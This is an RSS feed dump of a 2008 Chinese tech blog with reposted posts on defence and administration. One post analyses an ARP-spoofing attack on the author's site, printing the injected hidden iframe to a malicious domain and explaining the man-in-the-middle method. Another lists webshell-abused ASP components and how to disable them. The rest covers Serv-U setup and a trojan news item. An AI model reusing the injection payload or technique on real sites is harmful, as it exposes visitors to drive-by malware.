博客园-海纳百川，有容乃大http://www.cnblogs.com/David-weihw/善于总结，积累软财富zh-cnMon, 08 Sep 2008 07:24:06 GMTMon, 08 Sep 2008 07:24:06 GMT60qqsafe病毒 arp网站挂马 原理剖析-786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org(转载)http://www.cnblogs.com/David-weihw/archive/2008/09/01/1280947.html海纳百川海纳百川Mon, 01 Sep 2008 01:47:00 GMThttp://www.cnblogs.com/David-weihw/archive/2008/09/01/1280947.htmlhttp://www.cnblogs.com/David-weihw/comments/1280947.htmlhttp://www.cnblogs.com/David-weihw/archive/2008/09/01/1280947.html#Feedback0http://www.cnblogs.com/David-weihw/comments/commentRss/1280947.htmlhttp://www.cnblogs.com/David-weihw/services/trackbacks/1280947.html 

   昨天小站被挂马了，每次打开都会自动弹出一个对话框，提示正准备安装...，然后就消失。查看页面的源文件会发现在代码的最后面被加上了9 ~0 ]* U9 N2 ^
<body>" z% I9 o( h% [" ?' A
<iframe src="http://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org" height=50 width=0></iframe>8 y1 d8 M) l% D* @; E
<script language="javascript">9 q+ }/ {- y* U/ z
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();+ X- O8 ~8 `. }
</script>5 T% t  h' P" z
</body>! ~4 d& |  v+ A3 `- O' m' ]1 S
这段代码。经过我和技术人员的一整天的辛苦查找，终于解决了。最终得出结论是，服务器被植入了木马程序，这样所在服务器上的所有站点均被挂马了，经查，结果跟我们推测的一模一样，而且中毒情况完全相同。下面是关于qqsafe病毒、arp网站挂马的原理剖析，奉献给需要的网友，希望被挂马的站长朋友能早日摆脱木马的困扰：

以下是解决办法：

不管是访问服务器上的任何网页，就连404的页面也会在<html>后加入：
<body>
<iframe src="http://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org" height=50 width=0></iframe>
<script language="javascript">
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();
</script>
</body> 
挂马的位置在html标记左右,上面这段恶意代码，它会每隔几秒加入代码，也就是说在输出具体的东西之前就被挂了，有时有有时又没有，不是网页源代码问题，也没有在网页源代码中加入恶意代码，即使重装服务器，格式化重分区过第一个硬盘，放上去网站没多久一样再会出现这种情况.


首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

那么剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).


目的：通过arp欺骗来直接挂马

优点:可以直接通过arp欺骗来挂马.
通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.
3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.


原理：arp中间人攻击，实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
arp中间人攻击时候: A---->C---->B
B---->C---->A
实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如iframe...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

什么是ARP？

英文原义：Address Resolution Protocol 

中文释义：（RFC-826）地址解析协议 

局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址以保证通信的顺利进行。 


注解：简单地说，ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址，即网卡的MAC地址，比如IP地址为192.168.0.1网卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包，即ARP请求，然后目标主机向该主机发送一个含有IP地址和MAC地址数据包，通过MAC地址两个主机就可以实现数据传输了。 


应用：在安装了以太网网络适配器的计算机中都有专门的ARP缓存，包含一个或多个表，用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息，可以使用arp命令来完成，比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容；键入“arp -d IPaddress”表示删除指定的IP地址项（IPaddress表示IP地址）。arp命令的其他用法可以键入“arp /?”查看到。

 

摘自：木木家园



[新闻]千亿美元市值榜:微软居首移动第二 诺基亚退榜]]>ASP漏洞防范（转）http://www.cnblogs.com/David-weihw/archive/2008/08/04/1260131.html海纳百川海纳百川Mon, 04 Aug 2008 06:36:00 GMThttp://www.cnblogs.com/David-weihw/archive/2008/08/04/1260131.htmlhttp://www.cnblogs.com/David-weihw/comments/1260131.htmlhttp://www.cnblogs.com/David-weihw/archive/2008/08/04/1260131.html#Feedback0http://www.cnblogs.com/David-weihw/comments/commentRss/1260131.htmlhttp://www.cnblogs.com/David-weihw/services/trackbacks/1260131.html 

我们不难看出一般ASP木马、Webshell主要利用了以下几类ASP组件：

① WScript.Shell (classid:72C24DD5-D70A-438B-8A42-98424B88AFB8)

② WScript.Shell.1 (classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)

③ WScript.Network (classid:093FF999-1EA0-4079-9525-9614C3504B74)

④ WScript.Network.1 (classid:093FF999-1EA0-4079-9525-9614C3504B74)

⑤ FileSystem Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)

⑥ Adodb.stream (classid:{00000566-0000-0010-8000-00AA006D2EA4})

⑦ Shell.applicaiton....

这下我们清楚了危害我们WEB SERVER IIS的最罪魁祸首是谁了!!开始操刀,come on...

2:解决办法：

① 删除或更名以下危险的ASP组件：

WScript.Shell、WScript.Shell.1、Wscript.Network、Wscript.Network.1、adodb.stream、Shell.application

开始-------＞运行---------＞Regedit，打开注册表编辑器，按Ctrl+F查找，依次输入以上Wscript.Shell等组件名称以及相应的ClassID，然后进行删除或者更改名称(这里建议大家更名，如果有部分网页ASP程序利用了上面的组件的话呢，只需在将写ASP代码的时候用我们更改后的组件名称即可正常使用。当然如果你确信你的ASP程序中没有用到以上组件，还是直

接删除心中踏实一些^_^,按常规一般来说是不会做到以上这些组件的。删除或更名后，iisreset重启IIS后即可升效。)

[注意：由于Adodb.Stream这个组件有很多网页中将用到，所以如果你的服务器是开虚拟主机的话，建议酢情处理。]

② 关于 File System Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)即常说的FSO的安全问题，如果您的服务器必需要用到FSO的话，(部分虚拟主机服务器一般需开FSO功能)可以参照本人的另一篇关于FSO安全解决办法的文章:Microsoft Windows 2000 Server FSO 安全隐患解决办法。如果您确信不要用到的话，可以直接反注册此组件即可。

③ 直接反注册、卸载这些危险组件的方法：(实用于不想用①及②类此类烦琐的方法)

卸载wscript.shell对象，在cmd下或直接运行：regsvr32 /u %windir%\system32\WSHom.Ocx

卸载FSO对象,在cmd下或直接运行：regsvr32.exe /u %windir%\system32\scrrun.dll

卸载stream对象,在cmd下或直接运行： regsvr32 /s /u "C:\Program Files\Common Files\System\ado\msado15.dll"

如果想恢复的话只需要去掉 /U 即可重新再注册以上相关ASP组件例如：regsvr32.exe %windir%\system32\scrrun.dll

④ 关于Webshell中利用set domainObject = GetObject("WinNT://.")来获取服务器的进程、服务以及用户等信息的防范，大家可以将服务中的Workstation[提供网络链结和通讯]即Lanmanworkstation服务停止并禁用即可。此处理后，Webshell显示进程处将为空白。

3 按照上1、2方法对ASP类危险组件进行处理后，用阿江的asp探针测试了一下,"服务器CPU详情"和"服务器操作系统"根本查不到,内容为空白的。再用海洋测试Wsript.Shell来运行cmd命令也是提示Active无法创建对像。大家就都可以再也不要为ASP木马危害到服务器系统的安全而担扰了。

 

 



[新闻]Google申请“海上数据中心”专利 可能付诸行动]]>ASP 修改文件的属性——把文件的由可读修改为只读http://www.cnblogs.com/David-weihw/archive/2008/08/04/1260127.html海纳百川海纳百川Mon, 04 Aug 2008 06:32:00 GMThttp://www.cnblogs.com/David-weihw/archive/2008/08/04/1260127.htmlhttp://www.cnblogs.com/David-weihw/comments/1260127.htmlhttp://www.cnblogs.com/David-weihw/archive/2008/08/04/1260127.html#Feedback0http://www.cnblogs.com/David-weihw/comments/commentRss/1260127.htmlhttp://www.cnblogs.com/David-weihw/services/trackbacks/1260127.html<%
  'Normal   0   普通文件。没有设置任何属性。    
  'ReadOnly   1   只读文件。可读写。    
  'Hidden   2   隐藏文件。可读写。    
  'System   4   系统文件。可读写。    
  'Volume   8   磁盘驱动器卷标。只读。    
  'Directory   16   文件夹或目录。只读。    
  'Archive   32   上次备份后已更改的文件。可读写。    
  'Alias   64   链接或快捷方式。只读。   

Dim fso,f 
 
Set   fso =  CreateObject("Scripting.FileSystemObject")  
Set   f   =  fso.GetFile("D:\WebSite\NNbrank.com\html\news\20088\83195.htm")
 
if  f.attributes <> 1 then
    f.attributes = 1
end if

%>

 

 



[新闻]Google申请“海上数据中心”专利 可能付诸行动]]>SERV-U 7 的安装和基本使用方法教程http://www.cnblogs.com/David-weihw/archive/2008/06/27/1230945.html海纳百川海纳百川Fri, 27 Jun 2008 02:20:00 GMThttp://www.cnblogs.com/David-weihw/archive/2008/06/27/1230945.htmlhttp://www.cnblogs.com/David-weihw/comments/1230945.htmlhttp://www.cnblogs.com/David-weihw/archive/2008/06/27/1230945.html#Feedback0http://www.cnblogs.com/David-weihw/comments/commentRss/1230945.htmlhttp://www.cnblogs.com/David-weihw/services/trackbacks/1230945.html 

 SERV-U 7 的安装和基本使用方法教程


  
Serv-u7和以前的版本不同，不但使用界面和以往的不同，功能也增加了不少。下面由我们英拓网络为大家做个安装与基本使用教程，方便新手上路。（本文只针对初级用户）

下面开始安装软件，这个版本已经带上了中文，选择你要安装的语言版本，这里我选择中文。





和以前一样的安装界面。





选择“我同意”，进入下一步。



选择你要安装的路径





如果你对这个不了解那就默认吧。





如果你开了系统自带的防火墙就会有这样的提示，勾选上，下一步





点“完成”完成安装。





安装完后开始进行帐户的创建。首先要创建一个域，选择“是”





输入要创建的域的名称，随便输入一个进入下一步





这步就是监听的端口，除了21端口其他都取消掉，不然的话如果你有IIS，站点就启动不起来了。







IP地址建议留空，除非你要指定服务器IP。点“完成”。







如果你想马上创建用户的话就点“是”。这里我就点“否”忽略掉了，我这里进行后期创建。





这里就是serv-u的管理界面。







下面进行FTP用户的创建。
点用户下的“创建、修改和删除用户帐户”会出现以下界面。



在“用户信息”这里根据提示输入要创建的帐户相应的信息。







点“目录访问”，然后点“添加”进行帐户的访问权限设置。





如果你不了解这些权限的意义的话就按以下的设置，千万不能给上执行权限。设置好后点“保存”就完成访问权限的设置。




然后点“保存”完成帐户的创建。



这样我就创建好了一个名为“username”的FTP帐户，这个帐户具有可读写权限。







出于安全考虑，我们要给serv-u管理平台设置上一个密码，默认是空的，点击“服务器限制和设置”。





进入到“服务器限制和设置”，然后点“设置”，点击“更改管理员密码”。





输入新密码，然后点确定就可以了。





如果你的IIS站点无法正常启动提示有别的程序占用的话那可能就是因为serv-u占用了80端口，点击“域详细信息”。





进入“域详细信息”后点击“监听器”，然后选择相应监听的端口规则，点编辑。





把“启用监听器”勾去掉，然后点保存。然后把serv-u重启一下就可以了。
 

 摘自：社区动力




[新闻]用Google Earth实时追踪人造卫星]]>“MIDI机器狗”的木马正在疯狂传播http://www.cnblogs.com/David-weihw/archive/2008/05/28/1209538.html海纳百川海纳百川Wed, 28 May 2008 15:01:00 GMThttp://www.cnblogs.com/David-weihw/archive/2008/05/28/1209538.htmlhttp://www.cnblogs.com/David-weihw/comments/1209538.htmlhttp://www.cnblogs.com/David-weihw/archive/2008/05/28/1209538.html#Feedback1http://www.cnblogs.com/David-weihw/comments/commentRss/1209538.htmlhttp://www.cnblogs.com/David-weihw/services/trackbacks/1209538.html     近日，360安全中心监测显示，一种名为“MIDI机器狗”的木马正在疯狂传播，它采用驱动级技术代码写成，破坏力远超熊猫烧香。一旦中了“MIDI机器狗”，将会第一时间破坏安全软件的运行，对电脑进行远程控制，危害极大。用户如果发现360安全卫士无法正常使用，请尽快下载360专杀大全对系统进程进行扫描..（360专杀大全下载地址：http://dl.360safe.com/360compkill.zip）

　　据了解，“MIDI机器狗”木马的传播渠道极为特殊，它能够发现flash溢出漏洞，并利用该漏洞迅速植入用户电脑，凡是有flash的网页，都有可能成为其传播渠道，因此，传播范围极为广泛。目前，在360百科（baike.360.cn）里，已有数万用户报告中招，专家判断受害用户将超过10万。

　　此外，截至5月26日中午12点，360安全中心已经发现大面积的网页已被恶意植入了MIDI机器狗木马，这些网页都与地震消息、捐款、为四川加油等内容相关。可见，该木马传播者紧跟当前的热点新闻，希望通过网友对热点新闻的关注达到其扩散木马的目的，用心极其险恶。360安全中心提醒网友，对于不熟悉的网页，千万不要打开，如果不得不打开一些陌生网页，请先安装360安全卫士，保护自己的电脑安全，千万不能让木马制作者的阴谋得逞。

　　MIDI机器狗延续了机器狗、磁碟机等其他高危木马的恶劣行为，能够对电脑进行映像劫持，使各类安全软件无法正常启动，涉及面较广。包括360安全卫士、360保险箱、360专杀大全、卡巴斯基、NOD32、QQ医生在内的几十款知名安全软件，都在MIDI机器狗的淫威下无法运行。

不仅如此，中招的用户电脑还会被远程控制，成为彻底的“肉鸡”。这些“肉鸡”能够联合起来向其他电脑进行攻击。因此，有效杜绝MIDI机器狗的传播渠道，不仅是保护用户自己电脑的安全，同时也是对其他用户电脑进行保护。局域网中一旦有一台电脑中招，就有可能导致整个网络瘫痪。

　　360安全中心提醒网友，当电脑处于正常的健康状态时，也应该加强安全防护措施，及时使用360安全卫士的漏洞修复功能，对潜在的flash溢出漏洞进行修复。有任何疑问均可通过邮箱fk@360.cn进行反馈，也可登录360百科（baike.360.cn）发帖求助。

  摘自：360百科

[新闻]传IBM将以35亿美元至40亿美元收购北电]]>